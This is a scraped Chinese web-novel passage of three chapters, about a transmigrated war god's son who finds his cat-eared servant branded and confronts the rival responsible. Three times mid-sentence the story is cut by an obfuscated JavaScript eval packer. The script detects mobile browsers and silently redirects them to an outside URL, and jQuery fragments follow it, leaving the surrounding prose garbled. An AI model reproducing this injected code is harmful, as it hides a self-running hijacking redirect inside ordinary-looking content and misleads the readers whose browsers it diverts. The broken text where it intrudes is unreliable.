《神二代摸鱼失败后》 1. 穿成古早神二代 “祸乱天纲者,诛!” 伴随着尊父严酷的声音,一个魔头在恐惧中结束了生命。 尸体像一团没有骨头的烂肉,软软地摔在了巍峨堂皇的战神殿上。黑血如蛇一般蜿蜒,从肮脏的衣服碎片里向外流。贺究下意识往后挪动脚步,银白色长靴靴底在冰冷的石砖上发出轻响。 贺究......不,应该说是成为了赫兰九的贺究。 是的,他早就不是那个自由民主和谐文明的法治社会里的高三学生贺究了—— 战神赫兰尊帅第九子,赫兰九。 这是他的新身份。 ......喵了个咪的。 不管穿越了多久,每次只要一想到这个新的身份设定,贺究都会因为中二感到羞耻。 实在是太中二了喂! 又中二又古早。 贺究想,如果有作者现在写这种仙侠小说,别说入v,恐怕连收藏都很难搞到手吧...... “小九,你,学会了吗?” 要称作尊父的战神新爹再次出声,打断了贺究无厘头的漫想。 不同于刚才的威严声线,这一次,战神的声音柔和了一些。 但贺究却警铃大作。 他垂下眼睛,小声回答:“尊父的手段太高超了,小九愚笨,还没看清楚就......” “你是愚笨吗?分明是懒惰。”赫兰尊帅声含不悦。 话虽如此,凌厉威严的战神,却并没有惩罚这个小儿子。 甚至在看到小儿子抬手挠头的景象时,紧绷的脸部线条有所和缓。 若是此刻有人看到战神的脸上居然露出这种近乎柔软的情绪,大概会震惊到眼睛从眼眶里掉出来吧。 贺究快速掀起眼皮瞅了眼尊父,感觉尊父没有真的生气,讨好地一笑,竖起三根手指贴到耳边做发誓状,说:“下次一定!” 战神无奈了。 这句“下次一定”,已不知从小儿子嘴里出来过多少遍了。 战神双手负至腰后,厚重的战甲闪耀出肃杀的寒光。 “人无信不立,既然说了下次一定,就必须做到。”他道。 哎,挨训了。 贺究垂下脑袋,乖巧接话:“是,知道了。” 战神以这种压迫感十足的姿态凝视着他。 他静静立在原地。 等了好半晌。 也没等到后续的训话。 这次操练结束了? 贺究有点急。 他等着出去玩儿呢。 於见猫还在华清池等他呢。 又沉默须臾,贺究清了清嗓子,试探着问:“尊父还有吩咐吗?若是没有,小九便不打扰尊父清净,先行退下了?” “嗯?”战神瞥来锐利一眼。 “啊?”贺究苦了脸。 贺究心说我就客气客气,结果您老还真有吩咐啊? 那干嘛一直憋着不说! 小表情尽数落入战神眼中。 战神又好气又好笑。 差一点战神就摆摆手放小儿子开溜了。 但这幺子与众不同,若是对他过于纵容,放任自流,恐怕不是爱而是害。 思及此,战神到底还是寒着脸没有松口。 指了指地上的魔头死尸,战神简单吩咐道:“收拾。” 贺究:“呃......” 贺究僵硬地转移视线,把目光重新投回到地上那一团模糊的东西上面。 一秒,两秒,三秒。 贺究人没动。 战神危险地眯起双眸,周身杀气浓重:“你乃吾子,又身携业火而生,不比常人更加英勇已是怪哉,怎会如此优柔寡断。” 贺究:“......” 咋还急眼了呢! 其实贺究不是很服气。 谁说只有杀人放火才叫英勇?想当年咱在九年义务的战场上也很勇猛的好么!考重点高中时一分一千人的含金量你懂不懂!咱也就是没机会活到高考,不然千军万马厮杀给你看! 当然,这些话贺究只敢在心里面想想,让他说出来是万万不可能的。 赫兰尊帅:“你不服?” 确实不服中的贺究眼皮一跳,连忙摇头:“哪里哪里,没有没有,尊父教训的是,小九以后一定更加威猛,绝对不会给尊父丢脸,更绝对不会给咱们赫兰家丢脸!” 刚才腹诽的有多义愤填膺,现在保证的就有多铿锵有力。 贺究本打算趁势多说几句好听的话,但眼见尊父的眼神越来越核善,他还是选择默默闭上了嘴。 哎,谁叫新版老爹是个超雄呢,总是一言不合就抓魔头给自己示范杀魔的一百种技巧。 贺究无奈地摸了摸鼻子。 放下手时,他打响了一个响指。 只听“哒”的一声脆响,自他背后猛然蹿升起数丈高的火焰。 赤红的火焰将贺究整个包住,一瞬间,周围冰冷的空气蒸发殆尽,炽热席卷大殿,温度之高,仿佛连空间都发生了轻微的扭曲。 身处烈焰中心的贺究,脸庞因为火的包裹而朦胧不清,着银裳的身姿却显得愈发夺目。他抬起食指,指向前方,背后的火焰立时化作两扇翅膀模样,携带着凶猛的热浪扑向死尸。 呼啦—— 地上那团早没了气的软肉仿佛诈尸般骤然弹起,激烈地在空中抽搐,但幅度越抽越小,一眨眼的功夫里,化为了乌有。 真正是乌有,布缕、皮肉,骨血,悉数被火翅碾成了乌有,连留下灰烬的机会都没有。 “搞定。”贺究又打了一次响指。两扇火翅呼啸而归,煽动着焰花,与其余炽火一同钻回了他的背。 大殿恢复了原样,只剩几缕来不及熄灭的火星,星星闪烁。 贺究瞪着圆溜溜的眼睛,巴巴瞅向赫兰尊帅。 赫兰尊帅的视线一刻不曾离开过小儿子,此刻见他投来火热期待的视线,心上犹如被残留的热气轻轻碰了一瞬。 赫兰尊帅朝贺究点了点头。 贺究的眼睛一下子弯成了月牙。 这算是得到尊父的认可了! 哈哈!他就知道!像尊父这种超雄战斗狂人设,肯定会喜欢这种中二的浮夸特效! 哈哈!这下可以闪人出去玩了吧! 谁知,赫兰尊帅接下来的一番话却狠狠给他浇了一盆冷水。 赫兰尊帅不咸不淡道:“既然你已经熟练掌握了业火,是时候去靖灵学宫进修了。” 贺究:“............” 不是? 前几天不是说好可以不去学宫了吗! 说好的人无信不立呢!! 贺究惨叫:“不要啊尊父——” 颤抖的声线让赫兰尊帅眉心逐渐拧起。 卑微贺究否定三连:“我不熟练我没掌握我还不行!” “尊父,放过我吧,这可是业火,就我现在这水平,离掌握还遥远得要命,您看我只会一个劲放火,根本连火候都控制不了......” 越说声音越小。 因为赫兰尊帅的脸色越来越难看。 火候? 这可是业火,是天罚,是三大奇火之一。 竟然把操纵业火说得如同烹饪! 赫兰尊帅怒道:“这不会那不行,如此怠惰,岂有此理!” 完了完了,又急眼了。 贺究脖子一缩,歇了声。 看起来弱小可怜又无助。 赫兰尊帅:“............” 赫兰尊帅欲言又止。 止言又欲。 欲言又又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660062|172898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止。 责怒的话终究是没能继续说出口。 赫兰尊帅:“..................” 想他赫赫战神,打遍天庭界无敌手,威名震慑三界,却频频败给了自己的幺子! 微不可察地叹了口气,赫兰尊帅无可奈何地妥协了:“也罢,那,你便继续磨炼业火吧。” “啊......是!”闻声贺究刷地抬起头,两只眼睛亮得发光。 赫兰尊帅:“......” 身为战神之子,赫兰血脉,竟屡屡做出这般轻浮之举,简直......简直是不堪入目! 赫兰尊帅努力装作没看见小儿子已翘上天的不存在的无形尾巴,狠下心厉声训诫他道:“你乃本尊之血肉,承袭赫兰一氏之荣光,应当时刻记住自己的骄傲,只许强大,不许弱小,听明白了吗?” “明白了!”又到了熟悉的训话环节,贺究熟练地表态。 赫兰尊帅继续道:“还有,本尊不希望再从你口中听到诸如‘不行、不会、不要’这样的字眼,明白了吗?” 贺究:“明白了明白了。” 但其实贺究真的真的很想开口抬一下杠。 尊父啊尊父,咱家又不是只有我一个独苗苗,在我之上明明还有一二三四五六七八个——哥哥姐姐呢! 你怎么可以独独对我这个老幺这么严厉! “嗯?你似乎有所不满?” “怎么可能!我超满的好么!尊父放心!小九一定谨遵尊父教诲!” 贺究望天。 谁叫这版本的爹是战斗狂热分子超雄战神呢...... 自己这不叫怂,叫战术性父慈子孝! ***** 从尊父那儿解放后,贺究迈着雀跃的步伐前往华清池。 可喜可贺,接下来可以痛痛快快地玩了。 讲道理,做战神的儿子,虽然一言不合会被拎过去强制接受“杀魔放火一百种方法”教学,但更多的还是享受神二代的红利。 神二代好啊,神二代妙。 这整个天庭界,贺究不敢说横着走,但起码是蹦着走。 除了几处特殊的重地和禁区,天庭界几乎没有贺究不能去玩的地儿。 若是碰着了这个神啊那个仙的,被对方问了身份,有自家战神爹在背后撑着,他不仅不会被拦下,还会被客客气气称呼一声小仙君嘞。 “小猫!” 一到华清池,贺究便迫不及待寻找於见猫的身影。 於见猫是赫兰尊帅送给贺究的仙奴。 和寻常的仙奴稍有不同,於见猫其实是赫兰尊帅亲信部下的儿子。 按理说,以於见猫的身份,远不至于沦落到给其他神仙当仙奴的地步。 可谁叫於见猫爹是战神的死忠亲信呢。 听说战神有意让於见猫去给贺究当仙奴,於见猫他爹荣幸地恨不得五体投地。 一接到命令,於见猫他爹就回家,亲手把儿子里三遍外三遍刷了个干干净净,打包送到了战神邸。 于是,前先天性心脏病享年17岁男高中生,现战神之幺子神二代穿越者小仙君,的贺究,拥有了人生中的第一只猫。 也是人生中的第一个朋友。 没太费劲,贺究很快在华清池的东北方向发现了於见猫。 那是个跟贺究年龄体型都相仿的少年。不同于贺究醒目的银裳华服,少年身穿修身深灰色短打,腰间系一黑缎腰带,看起来十分干练利落。 此刻,少年正弯着腰蹲在水池边,不知是在做何。 “原来你在这里啊,我叫了你好几声为什么不理我?没听见吗?”贺究撇嘴,加快步子朝那边走去。 蹲在池边的於见猫脸上闪过一丝慌张,立刻拿出泡在池水里的左臂,迅速用法术烘干。 2. 无毛爱猫男 贺究走到於见猫背后时,他将将好撸下袖子。 “你在干嘛呢?”贺究好奇地探头。 於见猫仓惶别过了脸。 以神仙的生命体系来看,於见猫过于年少,加之他血统略怪异,是鱼将和猫仙的爱情结晶,所以一直没能完全长成人形。因此,於见猫肤色深黝的脸庞上,长着一双猫咪似的的橙黄猫眼。现在,这双猫眼正因为紧张而转个不停。 贺究疑惑,又问了他一遍:“你怎么了?你在做什么?” “我......我在捞鱼。”於见猫支支吾吾地说。 “捞鱼?”贺究露出奇怪的表情:“你在华清池捞鱼?” 於见猫:“......” 於见猫双手交叉到一起,搅着手指,轻轻点了点头。 贺究震惊了,感到一阵好笑:“真的假的?你小子,平时口口声声监督我要注意言行举止,结果自己在背地里却玩得这么野!” 於见猫:“............” 一滴晶莹的汗珠从於见猫额头上滚落。 被贺究盯得快要无地自容,於见猫嗫嚅着瓣儿嘴为自己辩解:“不是仙君以为的这样。” 不止是眼睛,於见猫的嘴唇也像猫咪,是可爱的瓣儿形。 如果小猫的脸颊两边再多一对猫咪胡须,一定会更可爱。 不过现在这样也很可爱啦,总是叫人忍不住去逗他。 贺究揶揄他道:“那是哪样?” 於见猫:“......” 於见猫不语,只是一味地抠手。 贺究弯眸浅笑:“哼哼,说不上来了吧。” 小猫是个笨小猫,憨憨的,乖乖的,一旦觉得自己做错了事,就会心虚不已。 这幅样子和真猫咪有啥区别? 活脱脱就是一只英短小蓝猫嘛。 还是毛没长齐,没来得及发出腮的那种。 无毛爱猫男贺究被戳中萌点,忍不了一点,直接上手猛猛撸起猫头。 嗯,好摸就是好头。 这蓬松的毛发,手感一级棒。 鉴定完毕,蓝猫无疑。 贺究一通猛撸,直到於见猫用敢怒不敢言的幽怨眼神控诉他,才恋恋不舍地收回了手。 哎呀。 一时撸猫一时爽。 一直撸猫一直爽。 撸猫哪有嫌够的时候。 轻咳了两声,贺究言归正传:“好了,不逗你了。你还要接着捞鱼玩吗?” 於见猫:“......” 於见猫果断摇头,深色的皮肤红了一个度。 居然脸红了。 谁说黑皮不会脸红。 黑皮不仅会脸红,脸红起来还格外可爱。 贺究憋笑。 他好像是发现了小猫的秘密,窥见了小猫正经之下无人知晓的贪玩本性。 这个发现让贺究心情很好。 贺究劝道:“再玩会儿吧!” 於见猫极力摇头:“怎可在华清池捞鱼。” 贺究噫他:“说这话,你不是已经自己一个猫捞过了吗。” 於见猫:“............” 於见猫皱眉,微微垂首,右手攥住了自己的左腕。 贺究忍俊不禁,刚要开口调笑他两句,却发现他额头上冒出一层细密的汗。 再仔细一看,小猫除了尴尬与心虚,似乎还在隐忍着某种痛苦。 贺究心中咯噔一跳。 笑意全无了。 贺究正色问:“小猫,你没事吧?在我过来找你之前,你真的是在捞鱼吗?” 於见猫没有回答。 方才自以为识破秘密所带来的快乐消失了,取而代之的,是一种不太好的感觉。 ——小猫撒谎了。 他根本不是在捞鱼,他遇到了麻烦。 贺究的视线从小猫脸上一点点下移,最终停留在被他紧攥的左腕上。 窄袖外的两只手,手背青筋跳动。 “真、真的只是在捞鱼。我知错了,再不会犯。”於见猫紧锁着眉心,诚恳地道歉。 “谁管你会不会再犯。别说是捞个鱼玩儿,就算你一个没忍住把鱼给吃了又怎么样,我才不会怪你。”贺究确定了小猫是在说谎。 於见猫被贺究脱口而出的话吓得一个哆嗦,连忙环顾左右,见左右无人,才勉强塞回差点跳出来的心。 於见猫提醒贺究道:“小仙君,以后千万别再说这种话了,华清池是帝后所有,若是传到帝后那里......不太妥。” 贺究才不在意。 “帝后才不是这么小心眼的人,你忘了,她给我开了许多特赦,一些别人去不得的地方,我却能去。” 哼哼,想他神二代,岂是浪得虚名! 於见猫噎住,目光略显复杂。 然而没等他想好用什么话术继续谏言,左臂忽然被贺究一把揪住。 於见猫眼角一抽,吃痛地闷哼出声。 贺究不由分说地去撸他的袖子。 於见猫顿时大惊,顾不上疼痛,急忙把手臂往后缩藏。 贺究早料到他会躲,手上使了劲,死活不放。 於见猫怕伤着他,哪敢用力,有所顾忌,自然受制,三两下被贺究得了逞。 贺究成功剥开了於见猫的衣袖,看见了暴露出来的整条小臂,也看见了这条小臂上赫然多出来的丑陋印记。 这是一块六角形形状的印记,颜色比肤色还要深,仿佛是被什么东西烙上去的,突兀地破坏了原本平滑的皮肤,印记边缘翻出血红的皮肉。 “这是怎么弄的?”贺究瞳孔猛缩,喉咙发紧,不自觉加大了捏着小臂的力度。“我要听实话,你最好别告诉我是捞鱼被鱼咬到了。” 於见猫痛得直抽气。 但伤处已然被贺究发现,他没了躲的必要,便忍着痛不吭一声,任凭贺究拿捏。 手掌心下绷紧的肌肉,让贺究及时找回了理智,控制了力道。 但还是生气。 生气。 太生气了。 既生气又心疼。 贺究沉着脸,指腹在六角形印记上轻轻抚摸。 於见猫微怔。 小仙君若是生气,要骂要打要罚,於见猫绝不会有半句怨言。 可小仙君满眼都是对自己的怜惜。 反叫於见猫心海潮生。 潮湿的心似乎有止痛的奇效,明明淋漓着冷汗,却不觉得那么疼了。 於见猫越了界,悄悄弓起手背,逾越地去蹭仙君掌心。 然而,嘴却闭得奇紧,无论小仙君如何问,就是不肯吐露实情。 问不出个所以然的贺究简直要气炸了。 闹呢不是...... 这么离谱的印记,一眼人为痕迹,自家小猫绝比是被人欺负了! “最后问你一次,到底是谁干的。” “请小仙君别再问了,真的只是一个意外。” 两人僵持不下。 都说十猫九犟,还有一只格外犟。 自家这只原来是大犟种! 难怪犟种毛长得这么长! 僵持下去没有意义。 贺究生气归生气,手没闲着,从佩戴在脖颈的项圈里拿出一瓶又一瓶的伤药。 这些药都是尊父和哥哥们给的,贺究一直以为根本没机会用上,没想到这会儿在小猫身上用上了。 於见猫受宠若惊,愕然地看着这些极品伤药簌簌洒向自己伤处。 被迷糊住了,半晌才想起来劝阻。 於见猫:“足够了,小仙君,不要再浪费了。” 贺究眼也不眨一下地继续给他上药,气愤道:“你要是觉得浪费,一开始就别让自己受伤啊。哼,还敢骗我说是意外,当我傻吗,这么明显的人为痕迹,信它是意外还不如信我是秦始皇!” “......”於见猫迷茫:“秦始皇是......?” 贺究咳咳:“不要在意这些细节。” 於见猫:“......” 小仙君发得好大火,於见猫不敢说话,也不敢乱问。 但眼看伤药一瓶接一瓶,雪花似的落在自己伤口上......不仅仅是伤口,整条小臂都被涂满了粉末的液体的各种各样的五颜六色的药......於见猫不得不开口了。 於见猫:“小仙君,足够了,真的已经足够了。” “足够什么足够,这死东西到底是个啥,为什么怎么弄都消不掉?”贺究咬牙切齿,洒洒洒,涂涂涂。 於见猫橙黄的眼瞳中闪烁着异色,轻声说:“不碍事的,伤处已经过几天就会消下去了,请小仙君别再为我费心了。” “那怎么行,你是我的猫,是我的好哥们,我不为你费心为谁费心。”贺究手指在该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660063|172898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死的印记上一连按了好几下,确认小猫不是强装不疼给自己看,才暂且作罢,不爽地收起剩下的瓶瓶罐罐。 没错,只是暂且作罢。 自己的猫被人欺负了,还死活不肯说是谁欺负的,这件事贺究绝不会就这样算了。 他一定会查出来! 突然之间,脑海里毫无征兆地闪过一个强烈念头——百花园。 ——去百花园。 ——就现在,去百花园。 ——欺负了小猫的人就在那。 一阵风无声吹过。 华清池如镜般纯净的水面泛起涟漪。 银裳被风撩起衣角,贺究抿了抿唇。 不是第一次发生这种事了。 这种强烈的预感......之前也出现过几次。 预感每次都是突如其来,毫无缘由,如同一道天启,在贺究心急如焚的时候,为他指引方向。 一开始贺究还以为是自己终于激活了什么系统呢。 就是那种穿越小说里穿越者人手一个的系统。 可惜这只是贺究的错觉。 它显然不是什么系统。 因为它只会以预感的方式出现,并且在播报完预感后无情下线。 哎,可能古早世界观里的穿越者不配有系统吧。 总之,贺究渐渐摸清楚了,他是属于硬穿。 没系统,不穿书,不开挂,纯硬穿。 也就这个偶尔乍现还算厚道的预知能力,能勉勉强强算作金手指。 目前为止预知能力从没出过错。既然它说现在去百花园能抓到欺负小猫的人,那就一定能。 贺究开口道:“我们去百花园。” “什么?”於见猫愕然。 贺究故作平常地说:“既然你说没事,伤口也不疼了,那我们去百花园玩儿吧。” “现、现在吗?”於见猫的声线有些发干。 “嗯,现在。刚巧,我想起来大哥有提过蟠桃成熟了。蟠桃百年一结,你我都没见过呢,不容错过,必须去看看。”贺究抻了个懒腰,率先挪动脚步。 然而,当贺究都已经走出一小截距离了,於见猫依然僵硬在原地不动。 於见猫焦躁地拧着手指。 若是拦住小仙君劝他别去,小仙君一定会问为什么。 若是给不出一个合理的解释,小仙君一定会察觉到异样。 届时,小仙君再去百花园,可就不止是为了看蟠桃了...... 不得已,於见猫只能硬着头皮追上贺究的步伐。 路上,於见猫心事重重,好几次接错了贺究抛来的话茬。 他这样心不在焉的样子,让贺究更加确定去百花园是去对地方了。 贺究怕他一个人胡思乱想,焦心焦力,故意打趣他道:“小猫,你今天怪怪的。” 於见猫眼皮一跳,急忙给自己找补:“我、我有些饿了。” 又说谎。 不乖的坏小猫。 不过贺究并没有戳破小猫拙劣的谎言,而是抬手去碰脖颈的项圈。 “喏,这是我......咳咳,练习业火的时候顺便烤的,给你。”贺究从项圈里拿出一袋酥脆小鱼干。 於见猫愣住。 把小鱼干塞到於见猫手里,贺究哼着歌继续赶路。 於见猫:“......” 於见猫双手捧住鱼干,橙黄色的眼眸光华流转,猫瞳莹润透亮。 ......看小仙君的样子,大概已经忘记在华清池的不愉快了吧。 ......那个人,说不定已经离开百花园了,未必会跟小仙君撞上。 努力把种种忧虑抛诸脑后,於见猫抱着几乎虔诚的态度,吃了一条小鱼干。 小鱼干的滋味鲜美至极,比他以往吃过的任何佳肴都要美味。 於见猫只舍得吃一个,剩下的被他小心翼翼包好,收进了衣袋。 於见猫被愁云遮罩的脸上终于有了一些笑容,认真追随贺究,脚步轻快了许多。 然而,这抹来之不易的笑容,在到达百花园后便迅速凝固了。 百花园风景卓绝,满园缤纷,仿佛集结了天上人间所有的美好。 只是,如此美景中,偏偏伫立着一道於见猫绝不想看见的身影。 看到这人,於见猫的一颗心直直向下坠落,那被伤药治愈过的左腕,疼痛感再一次袭来。 3. 更卑鄙的私心 穿过仙葩飘逸的云梯,贺究看见前方春藤圆门底下有个人。 定睛一看,贺究认出那是常揭崇。 之所以认识,是因为贺究的大哥与常揭崇的父亲同为星君,职务上常有往来。贺究见过他们父子几次,一来二去,便认得了。 贺究转头对於见猫说:“常揭崇也上百花园玩儿来了?我怎么记得他上次说要闭关?距离上次见他过去了几天?有超过三天吗?” 在贺究回头的刹那,於见猫松开了紧攥的手。 “小仙君记得没错,今日刚好是第三日。”於见猫克制着冲击与疼痛,尽量表现得自然。 贺究不动声色地扭过头,目光重新锁定在常揭崇身上:“才三日啊,这小子真不持久。” “走,既然碰到了,过去找他聊聊。”贺究呵呵,抬手扣住於见猫的肩膀,打算扶着他一起走。 然而,贺究的手只碰到了猫一秒,可能还不到一秒,猫闪现般从他手下消失了。 “小仙君!”於见猫声调拔高数度,耳边碎发向上炸开,整张脸爆红。 贺究被突然应激的小猫吓得一激灵,差点没原地蹦起来。 “干嘛啊!我是踩着你尾巴了?还是放业火烫到你了?”贺究无语道。 “......小仙君恕罪。” 两人的动静引起了圆门底下常揭崇的注意。 常揭崇主动朝他们走来,还没到跟前,已先开口笑眯眯地寒暄道:“这不是赫兰九仙君么,如此雅兴,也来百花园赏花?” 和成熟的声线不太贴合,常揭崇生了一张娃娃脸,脸颊稚嫩饱满,笑起来像婴儿一样肉肉嘟嘟。 但是吧...... 他的身体却又过于细瘦,单薄长直,上下一条线,如同一根火柴棒。 这样的火柴身板上顶着个肉嘟嘟的娃娃脑袋,显得脑袋硕大无比,看起来头重脚轻,颇为诡异。 贺究没有理会常揭崇的寒暄,他眉目微垂,正在看常揭崇腰间的一块东西。 在常揭崇的腰上挂着一枚以前没见过的镜子。 六角形形状的镜子。 “哦?九仙君是在看它?”注意到贺究的视线,常揭崇把镜子从腰间取下,挂着镜的绳绕在手里,毫不掩饰炫耀的心情,说道:“都说九仙君聪颖过人,不如我来考考你,可曾听说过屠魄镜。” 贺究依然没有理会他,而是扭头扫了一眼於见猫。 这一眼让於见猫汗流侠背。 “......小仙君,不是要去看蟠桃么,我们快走吧。”於见猫的语气近乎恳求。 长节虫般的常揭崇摇晃着硕大脑袋,悠哉悠哉地盘弄着屠魄镜。 贺究突然说:“是你的干的吧。” “什么?”常揭崇眨眼,似是没明白贺究的意思。 贺究懒得跟他兜圈子,暴起欺身上前,粗鲁地揪住了他的衣领:“我说,我家小猫胳膊上的伤是你干的吧。” 顿时,常揭崇细长的身体像风筝的线,在拉扯中摇摇欲坠。 但他脸上却丝毫不见惊慌,反而笑了,笑出一口白牙。 他的牙宛如食肉野兽的牙,是一颗颗尖利的锯齿。光是这么无声的笑,就仿佛让人闻到飘散出来的血腥气。 对于贺究的暴行,常揭崇一点反抗的举动都没有,随便贺究怎样蹂躏自己,都欣然接受。甚至贺究动作越激烈,他越兴奋。 “我当九仙君在说什么呢,原来是指你那仙奴啊。”常揭崇嬉皮笑脸。 当事仙奴於见猫早已大惊失色,为免事态进一步加重,也顾不上许多了,什么尊与卑,皆抛脑后,情急之下抱住贺究的腰,用力地想要把他从常揭崇的身上撕下来。 贺究气得头顶冒烟,一把轰开於见猫,恼火地质问他:“你在搞什么?我知道是他弄伤了你,都已经人赃并获了,你还袒护他?” 於见猫被推得一个趔趄,冲回来继续拉架:“小仙君别动手!千万别动手!求您了!不要动手!” 常揭崇兴奋难抑,娃娃脸上晕开别样的红光。 似乎嫌不够,他开始火上浇油,有意进一步刺激贺究。 “啊呀呀,九仙君这是在做什么?成何体统?若是让一直以来对你赞不绝口的众仙家知晓了该如何?” “再说这根本是一场误会,我可没有对你的仙奴做什么,若真怎么了,也一定不是有意为之,毕竟,你虽然贵为天骄,可你的仙奴就只是个仙奴,仙奴就是仙奴,无论主人是谁,也改变不了自身是个下贱玩意的事实——啊!!!” 话声戛然而止,取而代之的是惊悚的尖叫。 炽烈的赤火突生,缭绕于贺究右手。 贺究握住的常揭崇的左臂,半条袖袍直接烧没了。 不过被烧到的只有这半截衣袖,纵使火势澎湃,翻涌在贺究与常揭崇之间,常揭崇身上其他接触到火焰的地方却丝毫未损。 常揭崇嗤笑。 什么嘛,这就是被天庭一众仙家吹嘘的业火吗? 还以为会有多了不起,没想到只是看起来唬人,火势大威力小,根本没有真正地伤到我嘛。 常揭崇尖叫,只是因为火焰突然窜出来,让他受到了惊吓。 既然无事发生,他总要说点什么。 然而,还没等他张开嘴,左腕上方忽然一阵剧痛。 痛楚沿着小臂直奔心脏。 常揭崇只觉眼前一黑,生出一种被炼狱岩浆裹挟淹没的错觉。 原来! 刚才之所以没被伤到,是因为赫兰九没想这么快伤他! 业火的威力竟如此恐怖! 而赫兰九对业火的操控,竟如此炉火纯青! 现在,常揭崇什么话也说不出来了。 “小仙君!!” 倒是於见猫嘶声冲向贺究,圆睁的猫瞳缩成了一条橙黄竖线。 贺究反手就是一挥,从掌心中挥出汹涌的火焰。 火焰风一样散开,形成了一面无懈可击的火墙,将冲过来的於见猫整个圈入其中。 於见猫被关在高出他两倍的火墙里,别说阻拦,根本连外面的情景都看不见,他有心无力,只能着急大喊。 贺究一心二用,转眼间完成了攘外安内。 收拢业火熄灭,贺究把手里惨叫的常揭崇往后一扔,丢在了地上。 常揭崇摔倒在地,狼狈地在地上滚,直到身体撞到一棵花树,才咚的一声停下。花树上枝头花瓣纷纷落下,打着旋盖了他满身。 常揭崇蜷缩在树下,右手紧紧攥着左腕。在他裸露出来的左腕之上,在和於见猫臂上伤处相同的地方,一道五指分明的赤红手掌印,霸道地留在了上面。 这是贺究替於见猫还给常揭崇的。 贺究面无表情地走到常揭崇跟前,居高临下睨视他的脸。 常揭崇其实痛得要命,但在贺究过来后却对着他笑了。 这绝对是发自真心的笑,双目灼灼,闪烁着兴奋的光芒。 贺究:“......” 多少有点变态了。 贺究稍微被膈应了一下。 不过眼下事还没算完,变不变态的先放到一边,贺究俯下身,从常揭崇腰上拽下了屠魄镜。 “你欲何为?”常揭崇强撑起身子。 贺究把镜子翻来覆去地查看了好几遍,并没有查出个所以然。 他抬腿给了常揭崇一脚,没好气地问:“被这个镜子伤到,会损害魂魄吗?” 神仙修炼,修魂炼魄,魂魄乃是根基,若是魂魄受损,等于坏了根基。 屠魄镜叫了这么个不祥的名字,贺究很难放心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660064|172898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到贺究的发问,常揭崇晃了晃脑袋,笑出一口惨白的锯齿牙:“你猜?” “猜你大爷猜!我小孩呢跟你在这猜!”贺究暴躁地连续给了常揭崇好几脚,恶狠狠地放话:“我知道你看我不爽,有种你冲老子一个人来,别他大爷的耍阴招欺负老子身边的人!” “呵呵,九仙君说笑了,我不过一介小人物,哪敢冒犯仙君。”常揭崇咬着牙接受贺究的暴打,甚至敞开身体,主动把柔软的腹部送到贺究靴底,一副恨不得贺究多给他几脚的模样,贱嗖嗖到了极点。 贺究两辈子加一块儿也没遇到过这么抖M的变态,心里有点犯恶心,不太想继续下脚了。 但是屠魄镜...... 以常揭崇这阴险变态的性格,就算从他嘴里撬出话,也难保是真话。 贺究信不过常揭崇。 所以他把屠魄镜收进了自己衣兜。 兄弟姐妹中,八姐对于宝器法器之类最为精通。 八姐应当能给小猫掌掌眼。 事已至此,打也打过了,警告也警告过了,再留常揭崇在这,只觉碍眼。 “别让我再看见你。”贺究冷冷踹了常揭崇一脚,让他快滚。 常揭崇扶着花树慢慢起身。 常揭崇仍在笑,笑得意味不明,带着满身伤痕,跌跌撞撞兴高采烈地滚了。 贺究:“......” 贺究被他的怪笑弄得怪不舒服的。 真是奇怪,正常人挨了毒打会这样吗? 贺究摸不着头脑,只能理解为这是抖M的特殊癖好吧...... 等常揭崇滚没影了后,贺究才熄了火墙,将关在里面的於见猫放了出来。 终于出狱的於见猫失魂落魄,眼神暗淡,几乎都没光了。 贺究心里不踏实,拉着他席落花而坐。 两人面面相觑。 贺究竖起两根手指在於见猫眼前晃荡,认真地询问道:“小猫,你没事吧?你感觉魂魄有恙吗?” 於见猫摇了摇头,一副什么重要东西完蛋了的心碎模样。 “那你说是怎么回事啊?你和常揭崇之间发生了什么?你为什么要这么护着他?”贺究显然不信。 於见猫急了,蹭地从地上弹起来:“我对小仙君忠心耿耿,绝不是袒护常揭崇!” 猫的弹跳力真是好,带起的风把贺究掀得向后一仰,贺究仰头望着於见猫,半是无语半是困惑。 “......”於见猫双手搅到一起,痛苦溢于言表:“我绝非是在袒护常揭崇,恰恰相反,自始至终我都是为了小仙君您,可是......可是......” 搞得贺究也戴上了痛苦面具,情不自禁拔高了声调:“可是啥你倒是说啊!” “可是常揭崇还是得逞了!”於见猫绝望地闭眼喊道。 贺究:“???” 贺究越来越迷惑了。 究竟,自己不在华清池的时候,发生了什么?? 不过,小猫好像要碎掉了。 尽管贺究急得不行,也知道不能再继续逼他。 得冷静! 